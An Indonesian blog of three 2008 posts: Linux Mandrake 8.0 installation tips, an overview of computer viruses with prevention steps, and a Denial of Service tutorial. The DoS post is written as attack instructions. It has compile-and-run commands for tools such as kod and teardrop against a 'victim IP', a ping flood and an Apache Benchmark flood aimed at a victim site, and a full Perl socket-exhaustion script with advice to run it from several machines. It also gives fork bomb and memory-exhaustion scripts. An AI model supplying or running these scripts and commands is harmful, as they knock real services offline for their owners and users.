Inti Langkah Instalasi & Setting Linux Mandrake 8.0

November 17, 2008

Tulisan ini berusaha mendokumentasikan beberapa inti langkah yang perlu di perhatikan dalam menginstalasi & setting Linux Mandrake 8.0. Mengapa Linux Mandrake 8.0? karena Mandrake 8.0 ternyata paling mudah dioperasikan dibandingkan distribusi Linux lainnya & dapat membuat orang tergila-gila Linux.

Tujuan Tulisan

  • Dibuat hanya point utama aja, agar mudah bagi orang untuk mengingat. Jadi memang bukan    berupa tulisan panjang lebar.
  • Dapat digunakan untuk materi training Linux, mulai dari beginner s/d advanced.

Kebutuhan Alat / Material

  • CD 1 Linux Mandrake (minimal)

  • CD 2 Linux Mandrake (kalau ada lebih baik, bisa experimen lebih banyak)

  • PC sebaiknya Pentium II 100Mhz ke atas.
  • Memory sebaiknya 64Mbyte, bisa dipaksa di 32Mbyte tapi anda akan cukup sengsara.
  • Harddisk minimal sekitar 2Gbyte (kalau hanya Linux), kalau ingin dual boot Linux & Windowz sebaiknya minimal sekitar 3Gbyte.

Pra-Instalasi Linux Mandrake

Tujuan:

  • Boot dari CDROM.

Langkah:

  • Siapkan BIOS agar booting dari CDROM.
  • Jika BIOS di password, buat boot disk dari CD 1 Linux Mandrake. Gunakan /dosutils/rawrite.exe & write ke disket file /images/cdrom.img. Boot komputer menggunakan boot disket tsb.

Tujuan:

  • Kosongkan partisi atau sisakan partisi untuk Linux (dengan filesystem ext2).

Langkah:

  • Jika ingin semua harddisk untuk Linux. Biarkan harddisk apa adanya, kita akan mempartisi dari Linux.
  • Jika anda ingin dualboot. Gunakan fdisk, partisi Windows secukupnya, kosongkan partisi untuk Linux, jangan di partisi sama sekali oleh fdisk. Install Windows selengkapnya sebelum install Linux.
  • Jika anda ingin dualboot, tapi semua partisi sudah terisi Windows. Resize partisi menggunakan Partition Magic, sebelum install Linux.

Instalasi Linux Mandrake 8.0

Tujuan:

  • Install Linux ke harddisk.

Langkah:

  • Boot PC dengan CD 1 Mandrake di drive.
  • Hampir semua pilihan tinggal di OK-kan.
  • Kesalahan fatal yang sering dilakukan adalah men-set password root & melupakan password root tadi kekekekekek …..
  • Pilih Instalasi Expert (supaya banyak software tambahan yang di install).
  • Partisi minimal sekali / 1.5Gbyte, swap 64Mbyte, sisanya untuk /home. Jika anda ingin menyelamatan data-data, ada baiknya dibuat partisi /var.
  • Pilih software package yang sesuai selera. Pada saat pemilihan paket, jangan lupa install Gnomba (untuk network neighbourhood).
  • Setting Network – biasanya minimal sekali dial-up networking (kalau PC anda stand alone).
  • Setting Video – paling aman memilih monitor: Non-interlaced SVGA, 1024×768 at 60Hz, 800×600 at 72Hz kalau anda tidak yakin tentang monitor anda.

Virus Komputer

November 17, 2008

Saat Ini, pastilah kita semua selaku konsumen/pengguna jasa komputer dan

jaringan ( internet ) sudah sangat sering mendengar istilah ‘virus’ yang

terkadang meresahkan kita. Tulisan ini akan mengupas lebih jauh mengenai

virus, yang nantinya diharapkan dapat membuat kita semua mengerti dan

memahami tentang virus.

A.ASAL MUASAL VIRUS

1949, John Von Neuman, menggungkapkan ” teori self altering automata ”

yang merupakan hasil riset dari para ahli matematika.

1960, lab BELL (AT&T), para ahli di lab BELL (AT&T) mencoba-coba teori

yang diungkapkan oleh john v neuman, mereka bermain-main dengan teori

tersebut untuk suatu jenis permainan/game. Para ahli tersebut membuat

program yang dapat memperbanyak dirinya dan dapat menghancurkan program

buatan lawan.Program yang mampu bertahan dan menghancurkan semua program

lain, maka akan dianggap sebagai pemenangnya. Permainan ini akhirnya

menjadi permainan favorit ditiap-tiap lab komputer.semakin lama mereka

pun sadar dan mulai mewaspadai permainan ini dikarenakan program yang

diciptakan makin lama makin berbahaya, sehingga mereka melakukan

pengawasan dan pengamanan yang ketat.1980, program tersebut yang akhirnya dikenal dengan nama “virus” ini berhasil menyebar diluar lingkungan laboratorium, dan mulai beredar di dunia cyber.1980, mulailah dikenal virus-virus yang menyebar di dunia cyber.

B.PENGERTIAN VIRUS

” A program that can infect other programs by modifying them to include a slighty altered copy of itself.A virus can spread throughout a computer system or network using the authorization of every user using it to infect their programs. Every programs that gets infected can also act as a virus that infection grows “ ( Fred Cohen )

Pertama kali istilah “virus” digunakan oleh Fred Cohen pada tahun 1984 di

Amerika Serikat. Virus komputer dinamakan “Virus” karena memiliki beberapa

persamaan mendasar dengan virus pada istilah kedokteran(biological viruses).

Virus komputer bisa diartikan sebagai suatu program komputer biasa.Tetapi memiliki perbedaan yang mendasar dengan program-program lainnya,yaitu virus dibuat untuk menulari program-program lainnya, mengubah, memanipulasinya bahkan sampai merusaknya. Ada yang perlu dicatat disini, virus hanya akan menulari apabila program pemicu atau program yang telah terinfeksi tadi dieksekusi, disinilah perbedaannya dengan “worm”. Tulisan ini tidak akan bahas worm karena nanti akan mengalihkan kita dari pembahasan mengenai virus ini.

C.KRITERIA VIRUS

Suatu program yang disebut virus baru dapat dikatakan adalah benar benar

virus apabila minimal memiliki 5 kriteria :

1. Kemampuan suatu virus untuk mendapatkan informasi

2. Kemampuannya untuk memeriksa suatu program

3. Kemampuannya untuk menggandakan diri dan menularkan

4. Kemampuannya melakukan manipulasi

5. Kemampuannya untuk menyembunyikan diri.

Sekarang akan coba dijelaskan dengan singkat apa yang dimaksud dari tiap

-tiap kemampuan itu dan mengapa ini sangat diperlukan.

1.Kemampuan untuk mendapatkan informasi

Pada umumnya suatu virus memerlukan daftar nama-nama file yang ada dalam

suatu directory, untuk apa? agar dia dapat mengenali program program apa

saja yang akan dia tulari,semisal virus makro yang akan menginfeksi semua

file berekstensi *.doc setelah virus itu menemukannya, disinilah kemampuan

mengumpulkan informasi itu diperlukan agar virus dapat membuat daftar/

data semua file, terus memilahnya dengan mencari file-file yang bisa

ditulari.Biasanya data ini tercipta saat program yang tertular/terinfeksi

atau bahkan program virus ini dieksekusi. Sang virus akan segera melakukan

pengumpulan data dan menaruhnya di RAM (biasanya :P ) , sehingga apabila

komputer dimatikan semua data hilang tetapi akan tercipta setiap program

bervirus dijalankan dan biasanya dibuat sebagai hidden file oleh virus .

2.Kemampuan memeriksa suat program

Suatu virus juga harus bias untuk memeriksa suatu program yang akan

ditulari, misalnya ia bertugas menulari program berekstensi *.doc, dia

harus memeriksa apakah file dokumen ini telah terinfeksi ataupun belum,

karena jika sudah maka dia akan percuma menularinya 2 kali. Ini sangat

berguna untuk meningkatkan kemampuan suatu virus dalam hal kecepatan

menginfeksi suatu file/program.Yang umum dilakukan oleh virus adalah

memiliki/ memberi tanda pada file/program yang telah terinfeksi

sehingga mudah untuk dikenali oleh virus tersebut . Contoh penandaan

adalah misalnya memberikan suatu byte yang unik disetiap file yang

telah terinfeksi.

3.Kemampuan untuk menggandakan diri

Kalo ini emang virus “bang-get”, maksudnya tanpa ini tak adalah virus.

Inti dari virus adalah kemampuan mengandakan diri dengan cara menulari

program lainnya. Suatu virus apabila telah menemukan calon korbannya

(baik file atau program) maka ia akan mengenalinya dengan memeriksanya,

jika belum terinfeksi maka sang virus akan memulai aksinya untuk menulari

dengan cara menuliskan byte pengenal pada program/ file tersebut,dan

seterusnya mengcopikan/menulis kode objek virus diatas file/program

yang diinfeksi. Beberapa cara umum yang dilakukan oleh virus untuk

menulari/ menggandakan dirinya adalah:

a.File/Program yang akan ditulari dihapus atau diubah namanya. kemudian

diciptakan suatu file menggunakan nama itu dengan menggunakan virus

tersebut (maksudnya virus mengganti namanya dengan nama file yang dihapus)

b.Program virus yang sudah di eksekusi/load ke memori akan langsung

menulari file-file lain dengan cara menumpangi seluruh file/program

yang ada.

4.Kemampuan mengadakan manipulasi

Rutin (routine) yang dimiliki suatu virus akan dijalankan setelah virus

menulari suatu file/program. isi dari suatu rutin ini dapat beragam

mulai dari yang teringan sampai pengrusakan. rutin ini umumnya digunakan

untuk memanipulasi program ataupun mempopulerkan pembuatnya! Rutin ini

memanfaatkan kemampuan dari suatu sistem operasi (Operating System) ,

sehingga memiliki kemampuan yang sama dengan yang dimiliki sistem

operasi. misal:

a.Membuat gambar atau pesan pada monitor

b.Mengganti/mengubah ubah label dari tiap file,direktori,atau label dari

drive di pc

c.Memanipulasi program/file yang ditulari

d.Merusak program/file

e.Mengacaukan kerja printer , dsb

5.Kemampuan Menyembunyikan diri

Kemampuan Menyembunyikan diri ini harus dimiliki oleh suatu virus agar semua

pekerjaan baik dari awal sampai berhasilnya penularan dapat terlaksana.

langkah langkah yang biasa dilakukan adalah:

-Program asli/virus disimpan dalam bentuk kode mesin dan digabung dengan

program lain yang dianggap berguna oleh pemakai.

-Program virus diletakkan pada Boot Record atau track yang jarang

diperhatikan oleh komputer itu sendiri

-Program virus dibuat sependek mungkin, dan hasil file yang diinfeksi tidak

berubah ukurannya

-Virus tidak mengubah keterangan waktu suatu file

-dll

D.SIKLUS HIDUP VIRUS

Siklus hidup virus secara umum, melalui 4 tahap:

1. Dormant phase ( Fase Istirahat/Tidur )

Pada fase ini virus tidaklah aktif. Virus akan diaktifkan oleh suatu kondisi

tertentu, semisal:tanggal yang ditentukan,kehadiran program lain/dieksekusinya

program lain, dsb. Tidak semua virus melalui fase ini

2. Propagation phase ( Fase Penyebaran )

Pada fase ini virus akan mengkopikan dirinya kepada suatu program atau

ke suatu tempat dari media storage (baik hardisk, ram dsb). Setiap

program yang terinfeksi akan menjadi hasil “klonning” virus tersebut

(tergantung cara virus tersebut menginfeksinya)

3. Trigerring phase ( Fase Aktif )

Di fase ini virus tersebut akan aktif dan hal ini juga di picu oleh beberapa

kondisi seperti pada Dormant phase

4. Execution phase ( Fase Eksekusi )

Pada Fase inilah virus yang telah aktif tadi akan melakukan fungsinya.

Seperti menghapus file, menampilkan pesan-pesan, dsb

E.JENIS – JENIS VIRUS

Untuk lebih mempertajam pengetahuan kita tentang virus, Aku akan coba

memberikan penjelasan tentang jenis-jenis virus yang sering berkeliaran

di dunia cyber.

1.Virus Makro

Jenis Virus ini pasti sudah sangat sering kita dengar.Virus ini ditulis

dengan bahasa pemrograman dari suatu aplikasi bukan dengan bahasa

pemrograman dari suatu Operating System. Virus ini dapat berjalan apabila

aplikasi pembentuknya dapat berjalan dengan baik, maksudnya jika pada

komputer mac dapat menjalankan aplikasi word maka virus ini bekerja pada

komputer bersistem operasi Mac.

contoh virus:

-variant W97M, misal W97M.Panther

panjang 1234 bytes,

akanmenginfeksi NORMAL.DOT dan menginfeksi dokumen apabila dibuka.

-WM.Twno.A;TW

panjang 41984 bytes,

akan menginfeksi Dokumen Ms.Word yang menggunakan bahasa makro, biasanya

berekstensi *.DOT dan *.DOC

-dll

2.Virus Boot Sector

Virus Boot sector ini sudah umum sekali menyebar.Virus ini dalam menggandakan

dirinya akan memindahkan atau menggantikan boot sector asli dengan program

booting virus. Sehingga saat terjadi booting maka virus akan di load kememori

dan selanjutnya virus akan mempunyai kemampuan mengendalikan hardware standar

(ex::monitor, printer dsb) dan dari memori ini pula virus akan menyebar

eseluruh drive yang ada dan terhubung kekomputer (ex: floopy, drive lain

selain drive c).

contoh virus :

-varian virus wyx

ex: wyx.C(B) menginfeksi boot record dan floopy ;

panjang :520 bytes;

karakteristik : memory resident dan terenkripsi)

-varian V-sign :

menginfeksi : Master boot record ;

panjang 520 bytes;

karakteristik: menetap di memori (memory resident),terenkripsi, dan polymorphic)

-Stoned.june 4th/ bloody!:

menginfeksi : Master boot record dan floopy;

panjang 520 bytes;

karakteristik: menetap di memori (memory resident), terenkripsi dan menampilkan

pesan”Bloody!june 4th 1989″ setelah komputer melakukan booting sebanyak 128 kali

3.Stealth Virus

Virus ini akan menguasai tabel tabel interupt pada DOS yang sering kita kenal

dengan “Interrupt interceptor” . virus ini berkemampuan untuk mengendalikan

instruksi instruksi level DOS dan biasanya mereka tersembunyi sesuai namanya

baik secara penuh ataupun ukurannya .

contoh virus:

-Yankee.XPEH.4928,

menginfeksi file *.COM dan *.EXE ;

panjang 4298 bytes;

karakteristik: menetap di memori, ukurantersembunyi, memiliki pemicu

-WXYC (yang termasuk kategori boot record pun karena masuk kategri stealth

dimasukkan pula disini), menginfeksi floopy an motherboot record;

panjang 520 bytes;

menetap di memori; ukuran dan virus tersembunyi.

-Vmem(s):

menginfeksi file file *.EXE, *.SYS, dan *.COM ;

panjang fie 3275 bytes;

karakteristik:menetap di memori, ukuran tersembunyi, di enkripsi.

-dll

4.Polymorphic Virus

Virus ini Dirancang buat mengecoh program antivirus,artinya virus ini selalu

berusaha agar tidak dikenali oleh antivirus dengan cara selalu merubah rubah

strukturnya setiap kali selesai menginfeksi file/program lain.

contoh virus:

-Necropolis A/B,

menginfeksi file *.EXE dan *.COM;

panjang file 1963 bytes;

karakteristik: menetap di memori, ukuran dan virus tesembunyi,terenkripsi dan

dapat berubah ubah struktur

-Nightfall,

menginfeksi file *.EXE;

panjang file 4554 bytes;

karakteristik : menetap di memori, ukuran dan virus tesembunyi,memiliki pemicu,

terenkripsidan dapat berubah-ubah struktur

-dll

5.Virus File/Program

Virus ini menginfeksi file file yang dapat dieksekusi langsung dari sistem operasi,

baik itu file application (*.EXE), maupun *.COm biasanya juga hasil infeksi

dari virus ini dapat diketahui dengan berubahnya ukuran file yang diserangnya.

6.Multi Partition Virus

Virus ini merupakan gabungan dariVirus Boot sector dan Virus file: artinya

pekerjaan yang dilakukan berakibat dua, yaitu dia dapat menginfeksi file-

file *.EXE dan juga menginfeksi Boot Sector.

F.BEBERAPA CARA PENYEBARAN VIRUS

Virus layaknya virus biologi harus memiliki media untuk dapat menyebar,virus

computer dapat menyebar keberbagai komputer/mesin lainnya juga melalui berbagai

cara, diantaranya:

1.Disket, media storage R/W

Media penyimpanan eksternal dapat menjadi sasaran empuk bagi virus untuk

dijadikan media. Baik sebagai tempat menetap ataupun sebagai media penyebarannya.

Media yang bias melakukan operasi R/W (read dan Write) sangat memungkinkan untuk

ditumpangi virus dan dijadikan sebagai media penyebaran.

2.Jaringan ( LAN, WAN,dsb)

Hubungan antara beberapa computer secara langsung sangat memungkinkan suatu

virus ikut berpindah saat terjadi pertukaran/pengeksekusian file/program

yang mengandung virus.

3.WWW (internet)

Sangat mungkin suatu situs sengaja di tanamkan suatu ‘virus’ yang akan

menginfeksi komputer-komputer yang mengaksesnya.

4.Software yang Freeware, Shareware atau bahkan Bajakan

Banyak sekali virus yang sengaja di tanamkan dalam suatu program yang di

sebarluaskan baik secara gratis, atau trial version yang tentunya sudah

tertanam virus didalamnya.

5.Attachment pada Email, transferring file

Hampir semua jenis penyebaran virus akhir-akhir ini menggunakan email attachment

dikarenakan semua pemakai jasa internet pastilah menggunakan email untuk

berkomunikasi, file-file ini sengaja dibuat mencolok/menarik perhatian, bahkan

seringkali memiliki ekstensi ganda pada penamaan filenya.

G.PENANGULANGANNYA

1.Langkah-Langkah untuk Pencegahan

Untuk pencegahan anda dapat melakukan beberapa langkah-langkah berikut :

o Gunakan Antivirus yang anda percayai dengan updatean terbaru, tdak

perduli appun merknya asalkan selalu di update, dan nyalakan Auto protect

o Selalu men-scan semua media penyimpanan eksternal yang akan di gunakan,

mungkin hal ini agak merepotkan tetapi jika Autoprotect anti virus anda

bekerja maka prosedur ini dapat dilewatkan.

o Jika Anda terhubung langsung ke Internet cobalah untuk mengkombinasikan

Antivirus anda dengan Firewall, Anti spamming, dsb

2.Langkah-Lagkah Apabila telah Terinfeksi

Deteksi dan tentukan dimanakah kira-kira sumber virus tersebut apakah disket,

jaringan, email dsb, jika anda terhubung ke jaringan maka ada baiknya anda

mengisolasi computer anda dulu (baik dengan melepas kabel atau mendisable

dari control panel)

o Identifikasi dan klasifikasikan jenis virus apa yang menyerang pc anda,

dengan cara:

- Gejala yang timbul, misal : pesan, file yang corrupt atau hilang dsb

- Scan dengan antivirus anda, jika anda terkena saat Autoprotect berjalan

berarti vius definition di computer anda tidak memiliki data virus ini,

cobalah update secara manual atau mendownload virus definitionnya untuk

anda install. Jika virus tersebut memblok usaha anda untuk mengupdatenya

maka ,upayakan untuk menggunakan media lain (komputer) dengan antivirus

updatean terbaru.

o Bersihkan, setelah anda berhasil mendeteksi dan mengenalinya maka usahakan

segera untuk mencari removal atau cara-cara untuk memusnahkannya di situs

-situs yang memberikan informasi perkembangan virus. Hal ini jika antivirus

update-an terbaru anda tidak berhasil memusnahkannya.

o Langkah terburuk, jika semua hal diatas tidak berhasil adalah memformat

ulang komputer anda .

REFERENSI

1.[ Stallings, William ],“CRYPTOGRAPHY AND NETWORK SECURITY,principle

and practice: second edition ” ,Prentice-Hall,Inc., New Jersey ,1999

2.[ Salim, IR.Hartojo ],“Virus Komputer, teknik pembuatan & langkah-

langkah penaggulangannya ,Andi OFFSET,Yogyakarta , 1989.

3.[ Amperiyanto, Tri ],“Bermain-main dengan Virus Macro”,Elex Media

Komputindo, Jakarta,2002

4.[ Jayakumar ], “ Viruspaperw.pdf ”, EBOOK version

5.[ y3dips ],“pernak pernik Virus”,http://ezine.echo.or.id,Jakarta,2003


Serangan Denial of Service

November 13, 2008

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of Service atau yang lebih kitakenal dengan DoS. Beberapa pertanyaan yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?
Semuanya untuk anda, ENJOY !!.Apa itu Denial of Service (DoS) ?
Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis) atau mematikan-nya, sehingga
user yang berhak/berkepentingan tidak dapat menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal (dalam kasus tertentu).
Pada dasarnya Denial of Service merupakan serangan yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana admin akan berada pada kondisi yang membingungkan antara layanan dan kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti hukum ini.
Beberapa aktifitas DoS adalah:

1. Aktifitas ‘flooding’ terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.

Motif penyerang melakukan Denial of Service
Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker dalam melakukan Denial of
Service yaitu:
1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.
Status subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih tepat kita sebut sebagai pencarian
jati diri. Adalah sebuah aktifitas umum dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of Service merupakan aktifitas hacker diawal karirnya.
Alasan politik dan ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita bisa melihat dalam ‘perang cyber’ (cyber war), serangan DoS bahkan dilakukan secara terdistribusi atau lebih dikenal dengan istilah ‘distribute Denial of Service’. Beberapa kasus serangan virus semacam ‘code-red’ melakukan
serangan DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi, komputer ini disebut ‘zombie’ dalam jargon. Lebih relevan lagi, keisengan merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk mendapatkan program-program DoS, seperti nestea, teardrop, land, boink, jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of Service dengan sangat tepat, dan yang terpenting sangat mudah untuk melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell yang berupa ./nama_programargv argc …Denial of Sevice, serangan yang menghabiskan resource
Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource yang besar, sehingga
komputer/mesin yang diserang kehabisan resource dan manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:
A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space
Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan client. Spasi swap
juga digunakan untuk mem-’forked’ child process. Bagaimanapun spasi swap selalu berubah dan digunakan
dengan sangat berat. Beberapa serangan Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.
B. Bandwidth
Beberapa serangan Denial of Service menghabiskan bandwidth.
C. Kernel Tables
Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi memori kepada kernel juga
merupakan target serangan yang sensitif. Kernel memiliki kernelmap limit, jika sistem mencapai posisi ini,
maka sistem tidak bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.
D. Ram
Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak mau harus di re-boot.
E. Disk
Serangan klasik banyak dilakukan dengan memenuhi Disk.
F. Caches
G. INETD
Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan bekerja.
Teknik Melakukan Denial of Service
Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan dampak buruk
terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya adalah menutup layanan tersebut.
Namun tentu saja hal ini tidak mengasikkan dan juga tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS. 􀂙 SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan ‘loophole’
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang lebih
baru) telah mempunyai option konfigurasi untuk mencegah Denial of Service
dengan mencegahmenolak cracker untuk mengakses sistem. 􀂙 Pentium ‘FOOF’ Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium. 􀂙 Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut “smurfing”
(http://www.quadrunner.com/~chuegen/smurf.txt).
Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya: blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk (bonk.c)
6. Syndrop
Merupakan ’serangan gabungan’ dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug yang
terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini adalah Blue
Screen of Death

Serangan langsung (+ 31337)
1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal oleh Apache
Software Foundation adalah MaxClients 150, yang berarti hanyak koneksi yang
diperbolehkan mengakses Apache dibatasi sebanyak 150 clients. Jumlah ini sedikit banyak
dapat berkurang mengingat browser lebih dari 1 request simultan dengan koneksi terpisah
-pisah.
Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan menunggu
selama waktu yang ditetukan direktif TimeOut (default 5 menit). Dengan mengirimkan
request simultan yang cukup banyak penyerang akan memaksa batasan maksimal
MaxClients. Dampak yang terjadi, clien yang mengakses apache akan tertunda dan apa bila
backlog TCP terlampaui maka terjadi penolakan, seolah-olah server korban tewas.
Script gs.pl (gantung socket)
#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo –> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print “Gunakan: perl gs.pl [host] [port] \n”;
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> “$ARGV[0]“,
PeerPort=> “$ARGV[1]“,
Proto => “tcp”
or die; print “$_\n”
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !
DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.
1. Fork Bomb, habiskan RAM
#!/usr/bin/perl
fork while 1;
2. Habiskan CPU
#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i
3. Habiskan Memory
#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = “X” x 0xff; }
4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote Buffer
Overflow yang menghasilkan segmentation fault (seg_fault) dapat terjadi secara remote jika
demon (server) tidak melakukan verifikasi input sehingga input membanjiri buffer dan
menyebabkan program dihentikan secara paksa.